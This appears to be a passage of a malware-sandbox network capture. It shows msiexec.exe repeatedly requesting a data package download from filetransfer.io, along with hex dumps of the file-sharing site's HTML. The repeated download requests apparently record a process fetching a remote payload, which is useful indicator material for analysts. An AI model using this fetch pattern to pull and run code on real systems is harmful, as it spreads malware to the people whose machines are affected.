2025-01-10 19:14:35 UTC	1369	IN	Data Raw: 32 61 32 37 0d 0a 0a 0a 09 09 3c 68 72 3e 0a 0a 09 09 09 09 09 09 3c 73 65 63 74 69 6f 6e 20 63 6c 61 73 73 3d 22 63 6f 6e 74 65 6e 74 20 6e 65 77 2d 63 6f 6e 74 65 6e 74 22 3e 0a 0a 0a 09 09 3c 64 69 76 20 69 64 3d 22 73 6e 69 70 70 65 74 2d 2d 66 6c 61 73 68 65 73 22 3e 3c 2f 64 69 76 3e 09 09 09 09 09 3c 21 2d 2d 20 2e 61 6c 65 72 74 20 2d 2d 3e 0a 0a 0a 09 09 09 09 09 3c 64 69 76 20 64 61 74 61 2d 6e 61 6d 65 3d 22 75 70 6c 6f 61 64 2d 70 61 72 61 6d 65 74 65 72 73 22 20 64 61 74 61 2d 73 70 65 63 69 61 6c 3d 22 25 37 42 25 32 32 75 70 6c 6f 61 64 53 74 61 72 74 55 72 6c 25 32 32 25 33 41 25 32 32 25 32 46 73 74 61 72 74 2d 75 70 6c 6f 61 64 25 32 32 25 32 43 25 32 32 72 65 6d 6f 76 65 46 69 6c 65 55 72 6c 25 32 32 25 33 41 25 32 32 25 32 46 72 65 6d Data Ascii: 2a27<hr><section class="content new-content"><div id="snippet--flashes"></div>... .alert --><div data-name="upload-parameters" data-special="%7B%22uploadStartUrl%22%3A%22%2Fstart-upload%22%2C%22removeFileUrl%22%3A%22%2Frem
2025-01-10 19:14:35 UTC	1369	IN	Data Raw: 73 0a 09 09 09 09 09 09 3c 2f 6c 61 62 65 6c 3e 0a 09 09 09 09 09 3c 2f 70 3e 0a 09 09 09 09 3c 2f 64 69 76 3e 0a 09 09 09 09 3c 21 2d 2d 20 2e 69 6e 74 72 6f 20 2d 2d 3e 0a 0a 09 09 09 09 3c 2f 64 69 76 3e 0a 0a 09 09 09 09 3c 64 69 76 20 63 6c 61 73 73 3d 22 61 6c 65 72 74 20 61 6c 65 72 74 2d 65 72 72 6f 72 20 61 6c 65 72 74 2d 6e 6f 72 65 6d 6f 76 65 20 61 6c 65 72 74 2d 68 69 64 64 65 6e 22 20 64 61 74 61 2d 61 6c 65 72 74 2d 6f 63 63 61 73 69 6f 6e 3d 22 74 6f 6f 2d 62 69 67 22 3e 0a 09 09 09 09 09 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 69 63 6f 6e 2d 74 69 6d 65 73 22 3e 3c 2f 73 70 61 6e 3e 54 68 65 20 6d 61 78 69 6d 75 6d 20 73 69 7a 65 20 6f 66 20 61 20 64 61 74 61 20 70 61 63 6b 61 67 65 20 69 73 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 6d 61 Data Ascii: s</label></p></div>... .intro --></div><div class="alert alert-error alert-noremove alert-hidden" data-alert-occasion="too-big"><span class="icon-times"></span>The maximum size of a data package is <span class="ma
2025-01-10 19:14:35 UTC	1369	IN	Data Raw: 6c 61 73 73 3d 22 61 6c 65 72 74 20 61 6c 65 72 74 2d 77 61 72 6e 69 6e 67 20 61 6c 65 72 74 2d 6e 6f 72 65 6d 6f 76 65 20 61 6c 65 72 74 2d 68 69 64 64 65 6e 22 20 64 61 74 61 2d 61 6c 65 72 74 2d 6f 63 63 61 73 69 6f 6e 3d 22 64 69 72 65 63 74 6f 72 69 65 73 22 3e 0a 09 09 09 09 09 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 69 63 6f 6e 2d 65 78 63 6c 61 6d 61 74 69 6f 6e 2d 74 72 69 61 6e 67 6c 65 22 3e 3c 2f 73 70 61 6e 3e 0a 09 09 09 09 09 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 73 69 6e 67 6c 65 22 3e 54 68 65 20 66 6f 6c 64 65 72 20 09 09 3c 73 70 61 6e 20 64 61 74 61 2d 63 6f 6e 74 65 6e 74 3d 22 64 69 72 6e 61 6d 65 73 22 3e 3c 2f 73 70 61 6e 3e 0a 09 09 09 09 20 63 61 6e 6e 6f 74 20 62 65 20 61 64 64 65 64 20 61 6c 6c 20 61 74 20 6f 6e 63 65 2c 20 70 Data Ascii: lass="alert alert-warning alert-noremove alert-hidden" data-alert-occasion="directories"><span class="icon-exclamation-triangle"></span><span class="single">The folder <span data-content="dirnames"></span> cannot be added all at once, p

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
38	192.168.2.6	57953	172.67.152.246	443	5280	C:\Windows\SysWOW64\msiexec.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 19:14:36 UTC	190	OUT	GET /data-package/sJfx1gsn/download HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0 Host: filetransfer.io Cache-Control: no-cache
2025-01-10 19:14:36 UTC	621	IN	HTTP/1.1 301 Moved Permanently Date: Fri, 10 Jan 2025 19:14:36 GMT Content-Type: text/html Content-Length: 167 Connection: close Cache-Control: max-age=3600 Expires: Fri, 10 Jan 2025 20:14:36 GMT Location: https://filetransfer.io Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=svDZB%2BSzXoKIBss6RFaEGzUIE0xwsukEqHbZKHpX41w1CVPAqeyJxHpUjuie%2B0Hb523C0Blw%2FhyC6vPOLHKhS9LX7OHB3jeLa%2F31z4CFsyoGS7X%2Bx%2BROZjVKvFODxHKpTqo%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ffefdb4ccdf8c41-EWR
2025-01-10 19:14:36 UTC	167	IN	Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
39	192.168.2.6	57954	172.67.152.246	443	5280	C:\Windows\SysWOW64\msiexec.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 19:14:37 UTC	184	OUT	GET / HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0 Host: filetransfer.io Cache-Control: no-cache Connection: Keep-Alive
2025-01-10 19:14:37 UTC	944	IN	HTTP/1.1 200 OK Date: Fri, 10 Jan 2025 19:14:37 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close x-amz-id-2: DDDvvMfn+8ma9F01xFQ8HoQpWtiOzbjd0PLL+Nj9nUM6N+tvsW+xVD2txTEfqnYURIEROcISkAk= x-amz-request-id: 88MDY9Q9VT0XARQZ Last-Modified: Fri, 27 Dec 2024 12:13:01 GMT cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=DTgZOjo5wNZR0Klwmv68SoOeogWqtuLMeq8ZnPRkYiOnyqq9sYN%2FPUSCxy8pfJ%2Bt89QLddUeqLrqq076XzsyiyrixKFH94jn4ZE5HyzqkVSWlsOUb%2BbDNS9uZUjou77LYJw%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ffefdb898a60f6b-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1722&min_rtt=1714&rtt_var=649&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2837&recv_bytes=798&delivery_rate=1703617&cwnd=210&unsent_bytes=0&cid=576474ea4292c47d&ts=188&x=0"
2025-01-10 19:14:37 UTC	1369	IN	Data Raw: 32 31 61 38 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 38 20 5d 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 63 73 22 20 63 6c 61 73 73 3d 22 69 65 37 20 6e 6f 2d 6a 73 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 39 20 5d 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 63 73 22 20 63 6c 61 73 73 3d 22 69 65 38 20 6e 6f 2d 6a 73 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 31 30 20 5d 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 63 73 22 20 63 6c 61 73 73 3d 22 69 65 39 20 6e 6f 2d 6a 73 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 28 67 74 20 49 45 20 31 30 29 7c 21 28 49 45 29 5d 3e 3c 21 2d 2d 3e Data Ascii: 21a8<!DOCTYPE html>...[if lt IE 8 ]><html lang="cs" class="ie7 no-js"> <![endif]-->...[if lt IE 9 ]><html lang="cs" class="ie8 no-js"> <![endif]-->...[if lt IE 10 ]><html lang="cs" class="ie9 no-js"> <![endif]-->...[if (gt IE 10)\|!(IE)]>...>
2025-01-10 19:14:37 UTC	1369	IN	Data Raw: 6e 22 20 73 69 7a 65 73 3d 22 31 36 30 78 31 36 30 22 20 68 72 65 66 3d 22 2f 69 6d 67 2f 66 61 76 69 63 6f 6e 2f 31 36 30 2e 70 6e 67 22 3e 0a 0a 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 61 70 70 6c 65 2d 74 6f 75 63 68 2d 69 63 6f 6e 22 20 73 69 7a 65 73 3d 22 31 39 32 78 31 39 32 22 20 68 72 65 66 3d 22 2f 69 6d 67 2f 66 61 76 69 63 6f 6e 2f 31 39 32 2e 70 6e 67 22 3e 0a 0a 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 61 70 70 6c 65 2d 74 6f 75 63 68 2d 69 63 6f 6e 2d 70 72 65 63 6f 6d 70 6f 73 65 64 22 20 73 69 7a 65 73 3d 22 39 36 78 39 36 22 20 68 72 65 66 3d 22 2f 69 6d 67 2f 66 61 76 69 63 6f 6e 2f 73 6f 6c 69 64 2f 39 36 2e 70 6e 67 22 3e 0a 0a 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 61 70 70 6c 65 2d 74 6f 75 63 68 2d 69 63 6f 6e 2d 70 72 65 63 6f 6d 70 6f 73 65 Data Ascii: n" sizes="160x160" href="/img/favicon/160.png"><link rel="apple-touch-icon" sizes="192x192" href="/img/favicon/192.png"><link rel="apple-touch-icon-precomposed" sizes="96x96" href="/img/favicon/solid/96.png"><link rel="apple-touch-icon-precompose
2025-01-10 19:14:37 UTC	1369	IN	Data Raw: 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 6e 61 6d 65 22 20 63 6f 6e 74 65 6e 74 3d 22 46 69 6c 65 54 72 61 6e 73 66 65 72 2e 69 6f 22 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 6d 73 61 70 70 6c 69 63 61 74 69 6f 6e 2d 54 69 6c 65 43 6f 6c 6f 72 22 20 63 6f 6e 74 65 6e 74 3d 22 23 30 30 30 30 30 30 22 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 6d 73 61 70 70 6c 69 63 61 74 69 6f 6e 2d 54 69 6c 65 49 6d 61 67 65 22 20 63 6f 6e 74 65 6e 74 3d 22 2f 69 6d 67 2f 66 61 76 69 63 6f 6e 2f 31 34 34 2e 70 6e 67 22 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 6d 73 61 70 70 6c 69 63 61 74 69 6f 6e 2d 73 71 75 61 72 65 37 30 78 37 30 6c 6f 67 6f 22 20 63 6f 6e 74 65 6e 74 3d 22 2f 69 6d 67 2f 66 61 76 69 63 6f 6e 2f 6d 73 2f 74 69 Data Ascii: <meta name="application-name" content="FileTransfer.io"><meta name="msapplication-TileColor" content="#000000"><meta name="msapplication-TileImage" content="/img/favicon/144.png"><meta name="msapplication-square70x70logo" content="/img/favicon/ms/ti
2025-01-10 19:14:37 UTC	1369	IN	Data Raw: 75 74 73 20 3d 20 7b 7d 3b 0a 0a 20 20 20 20 4d 45 53 53 41 47 45 53 2e 70 6c 61 63 65 68 6f 6c 64 65 72 73 2e 74 61 67 69 6e 70 75 74 20 3d 20 22 53 65 70 61 72 61 74 65 20 77 69 74 68 20 61 20 63 6f 6d 6d 61 22 3b 0a 20 20 20 20 4d 45 53 53 41 47 45 53 2e 70 6c 61 63 65 68 6f 6c 64 65 72 73 2e 70 6f 70 75 70 4c 6f 61 64 69 6e 67 20 3d 20 22 50 6c 65 61 73 65 20 77 61 69 74 e2 80 a6 22 3b 0a 20 20 20 20 4d 45 53 53 41 47 45 53 2e 70 6c 61 63 65 68 6f 6c 64 65 72 73 2e 70 6f 70 75 70 43 6c 6f 73 65 20 3d 20 22 43 6c 6f 73 65 20 28 45 53 43 29 22 3b 0a 0a 20 20 20 20 4d 45 53 53 41 47 45 53 2e 61 6c 65 72 74 73 2e 65 6d 61 69 6c 52 65 71 75 69 72 65 64 20 3d 20 22 50 6c 65 61 73 65 20 65 6e 74 65 72 20 61 6e 20 65 2d 6d 61 69 6c 20 61 64 64 72 65 73 73 20 Data Ascii: uts = {}; MESSAGES.placeholders.taginput = "Separate with a comma"; MESSAGES.placeholders.popupLoading = "Please wait"; MESSAGES.placeholders.popupClose = "Close (ESC)"; MESSAGES.alerts.emailRequired = "Please enter an e-mail address
2025-01-10 19:14:37 UTC	1369	IN	Data Raw: 53 41 47 45 53 2e 6c 61 62 65 6c 73 2e 63 6f 70 79 4d 61 6e 75 61 6c 6c 79 2e 63 6d 64 20 3d 20 22 50 72 65 73 73 20 e2 8c 98 2d 43 22 3b 0a 0a 20 20 20 20 4d 45 53 53 41 47 45 53 2e 74 69 74 6c 65 73 2e 66 69 6c 65 6c 69 73 74 20 3d 20 22 43 68 6f 6f 73 65 20 66 69 6c 65 73 22 3b 0a 20 20 20 20 4d 45 53 53 41 47 45 53 2e 74 69 74 6c 65 73 2e 75 70 6c 6f 61 64 69 6e 67 20 3d 20 22 25 20 75 70 6c 6f 61 64 65 64 22 3b 0a 20 20 20 20 4d 45 53 53 41 47 45 53 2e 74 69 74 6c 65 73 2e 75 70 6c 6f 61 64 43 6f 6d 70 6c 65 74 65 20 3d 20 22 44 61 74 61 20 70 61 63 6b 61 67 65 20 75 70 6c 6f 61 64 65 64 22 3b 0a 20 20 20 20 4d 45 53 53 41 47 45 53 2e 74 69 74 6c 65 73 2e 75 70 6c 6f 61 64 50 72 6f 62 6c 65 6d 20 3d 20 22 50 72 6f 62 6c 65 6d 20 77 69 74 68 20 75 70 Data Ascii: SAGES.labels.copyManually.cmd = "Press -C"; MESSAGES.titles.filelist = "Choose files"; MESSAGES.titles.uploading = "% uploaded"; MESSAGES.titles.uploadComplete = "Data package uploaded"; MESSAGES.titles.uploadProblem = "Problem with up
2025-01-10 19:14:37 UTC	1369	IN	Data Raw: 6f 6f 67 6c 65 20 74 61 67 20 28 67 74 61 67 2e 6a 73 29 20 2d 2d 3e 0a 3c 73 63 72 69 70 74 20 61 73 79 6e 63 20 73 72 63 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 74 61 67 6d 61 6e 61 67 65 72 2e 63 6f 6d 2f 67 74 61 67 2f 6a 73 3f 69 64 3d 47 2d 47 4b 4a 5a 54 35 30 46 35 58 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 3c 73 63 72 69 70 74 3e 0a 20 20 77 69 6e 64 6f 77 2e 64 61 74 61 4c 61 79 65 72 20 3d 20 77 69 6e 64 6f 77 2e 64 61 74 61 4c 61 79 65 72 20 7c 7c 20 5b 5d 3b 0a 20 20 66 75 6e 63 74 69 6f 6e 20 67 74 61 67 28 29 7b 64 61 74 61 4c 61 79 65 72 2e 70 75 73 68 28 61 72 67 75 6d 65 6e 74 73 29 3b 7d 0a 20 20 67 74 61 67 28 27 6a 73 27 2c 20 6e 65 77 20 44 61 74 65 28 29 29 3b 0a 0a 20 20 67 74 61 67 28 27 63 6f 6e 66 69 67 27 2c 20 Data Ascii: oogle tag (gtag.js) --><script async src="https://www.googletagmanager.com/gtag/js?id=G-GKJZT50F5X"></script><script> window.dataLayer = window.dataLayer \|\| []; function gtag(){dataLayer.push(arguments);} gtag('js', new Date()); gtag('config',
2025-01-10 19:14:37 UTC	410	IN	Data Raw: 61 76 69 67 61 74 69 6f 6e 2d 69 74 65 6d 22 3e 0a 09 09 09 09 3c 61 20 74 69 74 6c 65 3d 22 52 65 71 75 65 73 74 20 66 69 6c 65 73 22 0a 09 09 09 09 20 20 20 63 6c 61 73 73 3d 22 75 6e 64 65 72 6c 69 6e 65 22 20 68 72 65 66 3d 22 2f 70 72 69 63 65 6c 69 73 74 22 3e 0a 09 09 09 09 09 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 75 6e 64 65 72 6c 69 6e 65 2d 69 74 65 6d 22 3e 52 65 71 75 65 73 74 20 66 69 6c 65 73 3c 2f 73 70 61 6e 3e 0a 09 09 09 09 09 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 62 61 64 67 65 20 73 6d 61 6c 6c 20 66 69 6c 6c 65 64 22 3e 62 65 74 61 3c 2f 73 70 61 6e 3e 0a 09 09 09 09 3c 2f 61 3e 0a 09 09 09 09 3c 2f 6c 69 3e 0a 0a 09 09 09 09 3c 6c 69 20 63 6c 61 73 73 3d 22 6e 61 76 69 67 61 74 69 6f 6e 2d 69 74 65 6d 22 3e 0a 09 09 09 09 3c 61 20 Data Ascii: avigation-item"><a title="Request files" class="underline" href="/pricelist"><span class="underline-item">Request files</span><span class="badge small filled">beta</span></a></li><li class="navigation-item"><a
2025-01-10 19:14:37 UTC	1369	IN	Data Raw: 62 30 35 0d 0a 0a 0a 09 09 3c 68 72 3e 0a 0a 09 09 09 09 09 09 3c 73 65 63 74 69 6f 6e 20 63 6c 61 73 73 3d 22 63 6f 6e 74 65 6e 74 20 6e 65 77 2d 63 6f 6e 74 65 6e 74 22 3e 0a 0a 0a 09 09 3c 64 69 76 20 69 64 3d 22 73 6e 69 70 70 65 74 2d 2d 66 6c 61 73 68 65 73 22 3e 3c 2f 64 69 76 3e 09 09 09 09 09 3c 21 2d 2d 20 2e 61 6c 65 72 74 20 2d 2d 3e 0a 0a 0a 09 09 09 09 09 3c 64 69 76 20 64 61 74 61 2d 6e 61 6d 65 3d 22 75 70 6c 6f 61 64 2d 70 61 72 61 6d 65 74 65 72 73 22 20 64 61 74 61 2d 73 70 65 63 69 61 6c 3d 22 25 37 42 25 32 32 75 70 6c 6f 61 64 53 74 61 72 74 55 72 6c 25 32 32 25 33 41 25 32 32 25 32 46 73 74 61 72 74 2d 75 70 6c 6f 61 64 25 32 32 25 32 43 25 32 32 72 65 6d 6f 76 65 46 69 6c 65 55 72 6c 25 32 32 25 33 41 25 32 32 25 32 46 72 65 6d 6f Data Ascii: b05<hr><section class="content new-content"><div id="snippet--flashes"></div>... .alert --><div data-name="upload-parameters" data-special="%7B%22uploadStartUrl%22%3A%22%2Fstart-upload%22%2C%22removeFileUrl%22%3A%22%2Fremo
2025-01-10 19:14:37 UTC	1369	IN	Data Raw: 0a 09 09 09 09 09 09 3c 2f 6c 61 62 65 6c 3e 0a 09 09 09 09 09 3c 2f 70 3e 0a 09 09 09 09 3c 2f 64 69 76 3e 0a 09 09 09 09 3c 21 2d 2d 20 2e 69 6e 74 72 6f 20 2d 2d 3e 0a 0a 09 09 09 09 3c 2f 64 69 76 3e 0a 0a 09 09 09 09 3c 64 69 76 20 63 6c 61 73 73 3d 22 61 6c 65 72 74 20 61 6c 65 72 74 2d 65 72 72 6f 72 20 61 6c 65 72 74 2d 6e 6f 72 65 6d 6f 76 65 20 61 6c 65 72 74 2d 68 69 64 64 65 6e 22 20 64 61 74 61 2d 61 6c 65 72 74 2d 6f 63 63 61 73 69 6f 6e 3d 22 74 6f 6f 2d 62 69 67 22 3e 0a 09 09 09 09 09 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 69 63 6f 6e 2d 74 69 6d 65 73 22 3e 3c 2f 73 70 61 6e 3e 54 68 65 20 6d 61 78 69 6d 75 6d 20 73 69 7a 65 20 6f 66 20 61 20 64 61 74 61 20 70 61 63 6b 61 67 65 20 69 73 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 6d 61 78 Data Ascii: </label></p></div>... .intro --></div><div class="alert alert-error alert-noremove alert-hidden" data-alert-occasion="too-big"><span class="icon-times"></span>The maximum size of a data package is <span class="max
2025-01-10 19:14:37 UTC	90	IN	Data Raw: 61 73 73 3d 22 61 6c 65 72 74 20 61 6c 65 72 74 2d 77 61 72 6e 69 6e 67 20 61 6c 65 72 74 2d 6e 6f 72 65 6d 6f 76 65 20 61 6c 65 72 74 2d 68 69 64 64 65 6e 22 20 64 61 74 61 2d 61 6c 65 72 74 2d 6f 63 63 61 73 69 6f 6e 3d 22 64 69 72 65 63 74 6f 72 69 65 73 22 3e 0d 0a Data Ascii: ass="alert alert-warning alert-noremove alert-hidden" data-alert-occasion="directories">

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
40	192.168.2.6	57955	172.67.152.246	443	5280	C:\Windows\SysWOW64\msiexec.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 19:14:38 UTC	190	OUT	GET /data-package/sJfx1gsn/download HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0 Host: filetransfer.io Cache-Control: no-cache
2025-01-10 19:14:38 UTC	611	IN	HTTP/1.1 301 Moved Permanently Date: Fri, 10 Jan 2025 19:14:38 GMT Content-Type: text/html Content-Length: 167 Connection: close Cache-Control: max-age=3600 Expires: Fri, 10 Jan 2025 20:14:38 GMT Location: https://filetransfer.io Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=TsESHTrk1kmKGhBgE6Tc2rF6bwQCbHkGilw2xBhb2oU7njQLGjpXD7fgIiyapGpgkRNG1jh3EOJf9z1J3ByQPS9%2FzbYKjEtaFe2lxIC2liP7J8zQHeLaxX8NH7DkYrj0e98%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ffefdbe3b838ce9-EWR
2025-01-10 19:14:38 UTC	167	IN	Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
41	192.168.2.6	57956	172.67.152.246	443	5280	C:\Windows\SysWOW64\msiexec.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 19:14:38 UTC	184	OUT	GET / HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0 Host: filetransfer.io Cache-Control: no-cache Connection: Keep-Alive
2025-01-10 19:14:39 UTC	980	IN	HTTP/1.1 200 OK Date: Fri, 10 Jan 2025 19:14:39 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close x-amz-id-2: e7qC3nKQ8Yv4tYpRghXXjD5/zQbE0RT2mFRKFFRAUKAdU3jlqVqq5//GOg6gzUEV9OEp3MPAxP2uFvsw4BFeJj0sv/WSK1EdA+ig+0zbx2o= x-amz-request-id: MW37TDW6R44826JY Last-Modified: Fri, 27 Dec 2024 12:13:01 GMT cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=lwg9%2FBEGRNyqjcsPsIdeqBkSCMRLR8E4x%2FYxtGL6HrgQObnzJchkggJm%2FVFbcAdkGgxx3KLXNF%2FbJ3VGdQQeituXUhe7U9ZbqteG6xVMC3UBAE6Fb%2Fie48Artr8cePFFUn0%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ffefdc23d072394-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1790&min_rtt=1787&rtt_var=677&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2836&recv_bytes=798&delivery_rate=1607929&cwnd=252&unsent_bytes=0&cid=6e22dddc007e2917&ts=177&x=0"
2025-01-10 19:14:39 UTC	389	IN	Data Raw: 32 31 38 33 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 38 20 5d 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 63 73 22 20 63 6c 61 73 73 3d 22 69 65 37 20 6e 6f 2d 6a 73 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 39 20 5d 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 63 73 22 20 63 6c 61 73 73 3d 22 69 65 38 20 6e 6f 2d 6a 73 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 31 30 20 5d 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 63 73 22 20 63 6c 61 73 73 3d 22 69 65 39 20 6e 6f 2d 6a 73 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 28 67 74 20 49 45 20 31 30 29 7c 21 28 49 45 29 5d 3e 3c 21 2d 2d 3e Data Ascii: 2183<!DOCTYPE html>...[if lt IE 8 ]><html lang="cs" class="ie7 no-js"> <![endif]-->...[if lt IE 9 ]><html lang="cs" class="ie8 no-js"> <![endif]-->...[if lt IE 10 ]><html lang="cs" class="ie9 no-js"> <![endif]-->...[if (gt IE 10)\|!(IE)]>...>
2025-01-10 19:14:39 UTC	1369	IN	Data Raw: 72 6f 64 22 3e 0a 3c 21 2d 2d 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 68 65 61 64 3e 0a 0a 09 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 09 3c 21 2d 2d 5b 69 66 20 49 45 5d 3e 0a 09 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 65 64 67 65 2c 63 68 72 6f 6d 65 3d 31 22 3e 0a 09 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 61 75 74 68 6f 72 22 20 63 6f 6e 74 65 6e 74 3d 22 22 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 6b 65 79 77 6f 72 64 73 22 20 63 6f 6e 74 65 6e 74 3d 22 22 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 61 70 70 2d 76 65 72 73 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 4e 53 34 78 4e Data Ascii: rod">...<![endif]--><head><meta charset="utf-8">...[if IE]><meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1"><![endif]--><meta name="author" content=""><meta name="keywords" content=""><meta name="app-version" content="NS4xN
